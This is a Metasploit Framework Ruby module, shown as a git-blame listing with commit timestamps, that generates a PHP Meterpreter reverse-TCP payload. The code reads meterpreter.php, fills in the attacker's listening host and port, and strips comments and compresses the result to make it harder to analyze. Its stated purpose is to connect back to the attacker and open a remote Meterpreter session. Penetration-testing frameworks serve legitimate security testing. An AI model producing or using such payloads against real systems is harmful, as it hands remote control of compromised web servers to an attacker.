2010-06-16 16:55:05 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-06-16 16:55:05 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/handler/reverse_tcp'
|
|
|
|
require 'msf/base/sessions/meterpreter_php'
|
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
|
|
|
|
|
|
|
|
module Metasploit3
|
2015-03-09 20:31:04 +00:00
|
|
|
|
|
|
|
CachedSize = 24643
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Sessions::MeterpreterOptions
|
2010-06-16 16:55:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP Meterpreter, Reverse TCP Inline',
|
|
|
|
'Description' => 'Connect back to attacker and spawn a Meterpreter server (PHP)',
|
|
|
|
'Author' => ['egypt'],
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_Php_Php))
|
|
|
|
end
|
2010-06-16 16:55:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def generate
|
|
|
|
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.php")
|
|
|
|
met = File.open(file, "rb") {|f|
|
|
|
|
f.read(f.stat.size)
|
|
|
|
}
|
|
|
|
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
|
|
|
|
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
|
2013-04-26 20:22:15 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# remove comments and compress whitespace to make it smaller and a
|
|
|
|
# bit harder to analyze
|
|
|
|
met.gsub!(/#.*$/, '')
|
|
|
|
met = Rex::Text.compress(met)
|
|
|
|
met
|
|
|
|
end
|
2010-06-16 16:55:05 +00:00
|
|
|
end
|